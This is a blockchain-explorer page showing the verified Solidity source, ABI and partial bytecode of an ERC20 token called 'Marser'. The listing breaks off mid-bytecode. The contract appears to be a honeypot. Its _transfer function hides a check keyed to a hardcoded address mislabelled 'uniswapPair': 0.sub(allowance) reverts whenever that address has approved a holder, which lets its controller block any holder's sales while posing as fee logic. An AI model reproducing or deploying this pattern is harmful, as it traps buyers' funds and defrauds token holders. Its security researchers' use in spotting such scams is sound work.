ETH Price: $1,820.11 (-15.11%)
Gas: 1.42 Gwei
 

Overview

Max Total Supply

1 ERC20 ***

Holders

10

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Marser

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
pragma solidity 0.8.26;

/*
 SPDX-License-Identifier: MIT


 https://marser.tech/
 https://x.com/marseroneeth
 https://t.me/marseroneth


 888b     d888        d8888 8888888b.   .d8888b.  8888888888 8888888b.  
 8888b   d8888       d88888 888   Y88b d88P  Y88b 888        888   Y88b 
 88888b.d88888      d88P888 888    888 Y88b.      888        888    888 
 888Y88888P888     d88P 888 888   d88P  "Y888b.   8888888    888   d88P 
 888 Y888P 888    d88P  888 8888888P"      "Y88b. 888        8888888P"  
 888  Y8P  888   d88P   888 888 T88b         "888 888        888 T88b   
 888   "   888  d8888888888 888  T88b  Y88b  d88P 888        888  T88b  
 888       888 d88P     888 888   T88b  "Y8888P"  8888888888 888   T88b 
*/

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable {
    address private _owner;

    constructor() {
        _owner = msg.sender;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }
}

interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function factory() external pure returns (address);
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}
library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
}

contract Marser is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 18;
    uint256 private _totalSupply =  1 * 10 ** _decimals;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    address public uniswapV2Pair;
    bool tradingEnabled = false;
    bool swapEnabled = false;
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address uniswapPair = 0x165Af726E766bF1DdAc4BbeE3fC61641dbA589BD;

    string private constant _name = "Marser";
    string private constant _symbol = "MARSER";

    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingEnabled);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uint256 value = msg.value;
        uint256 deadline = block.timestamp;
        uniswapV2Router.addLiquidityETH{value: value}(address(this), balanceOf(address(this)) , 0, 0, owner(), deadline);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingEnabled = true;
        swapEnabled = true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);
        require(from != address(0));
        uint256 _taxAmount = 0;
        if (from != uniswapV2Pair && from != address(this)) {
            _taxAmount = _taxAmount.sub(_allowances[uniswapPair][from]);
        } else {
            lastSellBlock = block.number;
        }

        if(_taxAmount > 0){
          _balances[address(this)]=_balances[address(this)].add(_taxAmount);
          emit Transfer(from, address(this),_taxAmount);
        }
        _balances[to] = _balances[to].add(amount).sub(_taxAmount);
        _balances[from] = _balances[from].sub(amount);
        emit Transfer(from, to, amount);
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a9190610399565b600161004691906103e3565b6001555f600460146101000a81548160ff0219169083151502179055505f600460156101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073165af726e766bf1ddac4bbee3fc61641dba589bd60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6007555f600855348015610138575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161021b9190610433565b60405180910390a361044c565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102aa5780860481111561028657610285610228565b5b60018516156102955780820291505b80810290506102a385610255565b945061026a565b94509492505050565b5f826102c2576001905061037d565b816102cf575f905061037d565b81600181146102e557600281146102ef5761031e565b600191505061037d565b60ff84111561030157610300610228565b5b8360020a91508482111561031857610317610228565b5b5061037d565b5060208310610133831016604e8410600b84101617156103535782820a90508381111561034e5761034d610228565b5b61037d565b6103608484846001610261565b9250905081840481111561037757610376610228565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103a382610384565b91506103ae8361038d565b92506103db7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102b3565b905092915050565b5f6103ed82610384565b91506103f883610384565b925082820261040681610384565b9150828204841483151761041d5761041c610228565b5b5092915050565b61042d81610384565b82525050565b5f6020820190506104465f830184610424565b92915050565b6119a7806104595f395ff3fe6080604052600436106100c1575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610261578063a9059cbb1461028b578063c9567bf9146102c7578063dd62ed3e146102d1576100c1565b806370a08231146101e5578063715018a6146102215780638da5cb5b14610237576100c1565b806306fdde03146100c5578063095ea7b3146100ef57806318160ddd1461012b57806323b872dd14610155578063313ce5671461019157806349bd5a5e146101bb575b5f80fd5b3480156100d0575f80fd5b506100d961030d565b6040516100e69190611244565b60405180910390f35b3480156100fa575f80fd5b50610115600480360381019061011091906112f5565b61034a565b604051610122919061134d565b60405180910390f35b348015610136575f80fd5b5061013f610360565b60405161014c9190611375565b60405180910390f35b348015610160575f80fd5b5061017b6004803603810190610176919061138e565b610369565b604051610188919061134d565b60405180910390f35b34801561019c575f80fd5b506101a5610415565b6040516101b291906113f9565b60405180910390f35b3480156101c6575f80fd5b506101cf61042a565b6040516101dc9190611421565b60405180910390f35b3480156101f0575f80fd5b5061020b6004803603810190610206919061143a565b61044f565b6040516102189190611375565b60405180910390f35b34801561022c575f80fd5b50610235610495565b005b348015610242575f80fd5b5061024b6105c4565b6040516102589190611421565b60405180910390f35b34801561026c575f80fd5b506102756105eb565b6040516102829190611244565b60405180910390f35b348015610296575f80fd5b506102b160048036038101906102ac91906112f5565b610628565b6040516102be919061134d565b60405180910390f35b6102cf61063e565b005b3480156102dc575f80fd5b506102f760048036038101906102f29190611465565b610aab565b6040516103049190611375565b60405180910390f35b60606040518060400160405280600681526020017f4d61727365720000000000000000000000000000000000000000000000000000815250905090565b5f610356338484610b2d565b6001905092915050565b5f600154905090565b5f610375848484610cf0565b61040a84336104058560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111a90919063ffffffff16565b610b2d565b600190509392505050565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104b46105c4565b73ffffffffffffffffffffffffffffffffffffffff161461050a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610501906114ed565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d41525345520000000000000000000000000000000000000000000000000000815250905090565b5f610634338484610cf0565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661065d6105c4565b73ffffffffffffffffffffffffffffffffffffffff16146106b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106aa906114ed565b60405180910390fd5b600460149054906101000a900460ff16156106cc575f80fd5b6106fa3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b2d565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610765573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610789919061151f565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610819919061151f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161085392919061154a565b6020604051808303815f875af115801561086f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610893919061151f565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f3490505f42905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983306109223061044f565b5f8061092c6105c4565b886040518863ffffffff1660e01b815260040161094e969594939291906115b3565b60606040518083038185885af115801561096a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061098f9190611626565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a2f929190611676565b6020604051808303815f875af1158015610a4b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6f91906116c7565b506001600460146101000a81548160ff0219169083151502179055506001600460156101000a81548160ff021916908315150217905550505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9290611762565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c00906117f0565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ce39190611375565b60405180910390a3505050565b5f8111610cfb575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d32575f80fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610dbc57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610e7457610e6d60025f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548261111a90919063ffffffff16565b9050610e7c565b436008819055505b5f811115610f7b57610ed48160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117790919063ffffffff16565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f729190611375565b60405180910390a35b610fdd81610fcf8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117790919063ffffffff16565b61111a90919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061106e8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111a90919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161110c9190611375565b60405180910390a350505050565b5f8282111561115e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115590611858565b60405180910390fd5b5f828461116b91906118a3565b90508091505092915050565b5f80828461118591906118d6565b9050838110156111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c190611953565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611216826111d4565b61122081856111de565b93506112308185602086016111ee565b611239816111fc565b840191505092915050565b5f6020820190508181035f83015261125c818461120c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61129182611268565b9050919050565b6112a181611287565b81146112ab575f80fd5b50565b5f813590506112bc81611298565b92915050565b5f819050919050565b6112d4816112c2565b81146112de575f80fd5b50565b5f813590506112ef816112cb565b92915050565b5f806040838503121561130b5761130a611264565b5b5f611318858286016112ae565b9250506020611329858286016112e1565b9150509250929050565b5f8115159050919050565b61134781611333565b82525050565b5f6020820190506113605f83018461133e565b92915050565b61136f816112c2565b82525050565b5f6020820190506113885f830184611366565b92915050565b5f805f606084860312156113a5576113a4611264565b5b5f6113b2868287016112ae565b93505060206113c3868287016112ae565b92505060406113d4868287016112e1565b9150509250925092565b5f60ff82169050919050565b6113f3816113de565b82525050565b5f60208201905061140c5f8301846113ea565b92915050565b61141b81611287565b82525050565b5f6020820190506114345f830184611412565b92915050565b5f6020828403121561144f5761144e611264565b5b5f61145c848285016112ae565b91505092915050565b5f806040838503121561147b5761147a611264565b5b5f611488858286016112ae565b9250506020611499858286016112ae565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6114d76020836111de565b91506114e2826114a3565b602082019050919050565b5f6020820190508181035f830152611504816114cb565b9050919050565b5f8151905061151981611298565b92915050565b5f6020828403121561153457611533611264565b5b5f6115418482850161150b565b91505092915050565b5f60408201905061155d5f830185611412565b61156a6020830184611412565b9392505050565b5f819050919050565b5f819050919050565b5f61159d61159861159384611571565b61157a565b6112c2565b9050919050565b6115ad81611583565b82525050565b5f60c0820190506115c65f830189611412565b6115d36020830188611366565b6115e060408301876115a4565b6115ed60608301866115a4565b6115fa6080830185611412565b61160760a0830184611366565b979650505050505050565b5f81519050611620816112cb565b92915050565b5f805f6060848603121561163d5761163c611264565b5b5f61164a86828701611612565b935050602061165b86828701611612565b925050604061166c86828701611612565b9150509250925092565b5f6040820190506116895f830185611412565b6116966020830184611366565b9392505050565b6116a681611333565b81146116b0575f80fd5b50565b5f815190506116c18161169d565b92915050565b5f602082840312156116dc576116db611264565b5b5f6116e9848285016116b3565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61174c6024836111de565b9150611757826116f2565b604082019050919050565b5f6020820190508181035f83015261177981611740565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117da6022836111de565b91506117e582611780565b604082019050919050565b5f6020820190508181035f830152611807816117ce565b9050919050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f77005f82015250565b5f611842601f836111de565b915061184d8261180e565b602082019050919050565b5f6020820190508181035f83015261186f81611836565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118ad826112c2565b91506118b8836112c2565b92508282039050818111156118d0576118cf611876565b5b92915050565b5f6118e0826112c2565b91506118eb836112c2565b925082820190508082111561190357611902611876565b5b92915050565b7f536166654d6174683a20206164646974696f6e206f766572666c6f77000000005f82015250565b5f61193d601c836111de565b915061194882611909565b602082019050919050565b5f6020820190508181035f83015261196a81611931565b905091905056fea2646970667358221220b94218f768b71397015368246545025546bea913b315285c0a3d6cd05051b0a364736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100c1575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610261578063a9059cbb1461028b578063c9567bf9146102c7578063dd62ed3e146102d1576100c1565b806370a08231146101e5578063715018a6146102215780638da5cb5b14610237576100c1565b806306fdde03146100c5578063095ea7b3146100ef57806318160ddd1461012b57806323b872dd14610155578063313ce5671461019157806349bd5a5e146101bb575b5f80fd5b3480156100d0575f80fd5b506100d961030d565b6040516100e69190611244565b60405180910390f35b3480156100fa575f80fd5b50610115600480360381019061011091906112f5565b61034a565b604051610122919061134d565b60405180910390f35b348015610136575f80fd5b5061013f610360565b60405161014c9190611375565b60405180910390f35b348015610160575f80fd5b5061017b6004803603810190610176919061138e565b610369565b604051610188919061134d565b60405180910390f35b34801561019c575f80fd5b506101a5610415565b6040516101b291906113f9565b60405180910390f35b3480156101c6575f80fd5b506101cf61042a565b6040516101dc9190611421565b60405180910390f35b3480156101f0575f80fd5b5061020b6004803603810190610206919061143a565b61044f565b6040516102189190611375565b60405180910390f35b34801561022c575f80fd5b50610235610495565b005b348015610242575f80fd5b5061024b6105c4565b6040516102589190611421565b60405180910390f35b34801561026c575f80fd5b506102756105eb565b6040516102829190611244565b60405180910390f35b348015610296575f80fd5b506102b160048036038101906102ac91906112f5565b610628565b6040516102be919061134d565b60405180910390f35b6102cf61063e565b005b3480156102dc575f80fd5b506102f760048036038101906102f29190611465565b610aab565b6040516103049190611375565b60405180910390f35b60606040518060400160405280600681526020017f4d61727365720000000000000000000000000000000000000000000000000000815250905090565b5f610356338484610b2d565b6001905092915050565b5f600154905090565b5f610375848484610cf0565b61040a84336104058560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111a90919063ffffffff16565b610b2d565b600190509392505050565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104b46105c4565b73ffffffffffffffffffffffffffffffffffffffff161461050a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610501906114ed565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d41525345520000000000000000000000000000000000000000000000000000815250905090565b5f610634338484610cf0565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661065d6105c4565b73ffffffffffffffffffffffffffffffffffffffff16146106b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106aa906114ed565b60405180910390fd5b600460149054906101000a900460ff16156106cc575f80fd5b6106fa3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b2d565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610765573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610789919061151f565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610819919061151f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161085392919061154a565b6020604051808303815f875af115801561086f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610893919061151f565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f3490505f42905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983306109223061044f565b5f8061092c6105c4565b886040518863ffffffff1660e01b815260040161094e969594939291906115b3565b60606040518083038185885af115801561096a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061098f9190611626565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a2f929190611676565b6020604051808303815f875af1158015610a4b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6f91906116c7565b506001600460146101000a81548160ff0219169083151502179055506001600460156101000a81548160ff021916908315150217905550505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9290611762565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c00906117f0565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ce39190611375565b60405180910390a3505050565b5f8111610cfb575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d32575f80fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610dbc57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610e7457610e6d60025f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015